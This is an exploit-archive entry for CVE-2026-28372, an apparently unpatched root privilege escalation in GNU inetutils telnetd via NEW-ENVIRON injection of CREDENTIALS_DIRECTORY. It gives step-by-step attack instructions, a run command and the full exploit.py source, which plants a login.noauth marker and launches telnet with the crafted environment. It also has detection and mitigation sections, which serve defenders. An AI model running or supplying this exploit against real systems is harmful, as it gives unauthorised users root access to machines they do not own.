PoC Archive PoC Archive
High CVE-2026-28372 unpatched

GNU inetutils telnetd Local Privilege Escalation via NEW-ENVIRON Injection — CVE-2026-28372

by Rohitberiwala (Mohammed Idrees Banyamer, @banyamer_security) · 2026-07-05

CVSS 7.4/10
Severity
High
CVE
CVE-2026-28372
Category
binary
Affected product
GNU inetutils telnetd
Affected versions
<= 2.7 (requires a util-linux login supporting login.noauth)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / ResearcherRohitberiwala (Mohammed Idrees Banyamer, @banyamer_security)
CVE / AdvisoryCVE-2026-28372
Categorybinary
SeverityHigh
CVSS Score7.4 (per repo README)
StatusPoC
Tagstelnetd, inetutils, lpe, new-environ, login-noauth, authentication-bypass, privilege-escalation, util-linux
RelatedN/A

Affected Target

FieldValue
Software / SystemGNU inetutils telnetd
Versions Affected<= 2.7 (requires a util-linux login supporting login.noauth)
Language / PlatformPython 3 wrapper invoking the system telnet client / Linux
Authentication RequiredLocal-only (unprivileged local account)
Network Access RequiredYes (to the local/loopback telnetd service)

Summary

GNU inetutils telnetd forwards client-controlled environment variables — negotiated via the Telnet NEW-ENVIRON option — to the login(1) process it spawns without adequately sanitizing them. On systems where the installed login (from util-linux) supports a CREDENTIALS_DIRECTORY-relative login.noauth marker file, an attacker can set CREDENTIALS_DIRECTORY to a directory they control and place a login.noauth file containing yes in it. When telnetd invokes login, it trusts this untrusted, attacker-supplied directory and treats the session as pre-authenticated, granting a root shell without a valid password. The PoC automates creation of the malicious directory/marker file and connects to telnetd with the crafted environment variable to demonstrate the bypass.


Vulnerability Details

Root Cause

telnetd passes client-supplied NEW-ENVIRON variables (including CREDENTIALS_DIRECTORY) through to login(1) without validating that the value originates from a trusted source, allowing an attacker-controlled directory containing a login.noauth marker to be treated as an authoritative “already authenticated” signal.

Attack Vector

  1. Create a local, attacker-writable directory containing a file named login.noauth with contents yes.
  2. Connect to the local telnetd service using the Telnet NEW-ENVIRON option to inject CREDENTIALS_DIRECTORY pointing at that attacker-controlled directory.
  3. telnetd invokes login(1), which reads the untrusted CREDENTIALS_DIRECTORY/login.noauth marker and bypasses password authentication, granting a root shell.

Impact

An unprivileged local user (or anyone able to reach the telnetd service) can escalate to root without valid credentials, resulting in full local privilege escalation.


Environment / Lab Setup

Target:   Linux host running GNU inetutils telnetd <= 2.7, paired with a util-linux login supporting login.noauth
Attacker: Python 3, system `telnet` client binary, local/loopback network access to the telnetd service

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python3 exploit.py --host 127.0.0.1

The script creates a temporary directory with a login.noauth marker file, sets CREDENTIALS_DIRECTORY to that directory in the environment, and invokes the system telnet client with NEW-ENVIRON options against the target telnetd, triggering the authentication bypass. Note: the shipped exploit.py invokes TelnetdExploit().run() under a guard with a typo (if name == "__main__": instead of if __name__ == "__main__":), so it must be run via python3 -c "from exploit import TelnetdExploit; TelnetdExploit().run()" or with the guard corrected before the automated trigger fires.


Detection & Indicators of Compromise

Signs of compromise:

  • telnetd sessions that reach a root shell without a corresponding password prompt/entry in auth logs.
  • CREDENTIALS_DIRECTORY environment values referencing non-standard, world-writable, or temporary directories.
  • Unexpected login.noauth files present on the filesystem outside systemd-managed credential paths.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationDisable telnetd entirely in favor of SSH; if telnetd must remain, strip/ignore client-supplied CREDENTIALS_DIRECTORY and other sensitive NEW-ENVIRON variables before invoking login(1).

References


Notes

Mirrored from https://github.com/Rohitberiwala/CVE-2026-28372 on 2026-07-05.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
"""
CVE-2026-28372: GNU inetutils telnetd Privilege Escalation
Researcher: Mohammed Idrees Banyamer (@banyamer_security)
Description: Local Privilege Escalation via environment variable injection.
"""

import os
import shutil
import tempfile
import subprocess

class TelnetdExploit:
    def __init__(self, target="127.0.0.1"):
        self.target = target
        self.temp_dir = tempfile.mkdtemp(prefix="telnet_poc_")
        self.creds_file = os.path.join(self.temp_dir, "login.noauth")

    def run(self):
        try:
            with open(self.creds_file, "w") as f:
                f.write("yes")
            
            env = os.environ.copy()
            env["CREDENTIALS_DIRECTORY"] = self.temp_dir
            
            print(f"[*] Exploit triggered on {self.target}...")
            subprocess.run(["telnet", "-E", "-K", "-L", self.target], env=env)
        
        except Exception as e:
            print(f"[-] Execution failed: {e}")
        finally:
            if os.path.exists(self.temp_dir):
                shutil.rmtree(self.temp_dir)

if name == "__main__":
    TelnetdExploit().run()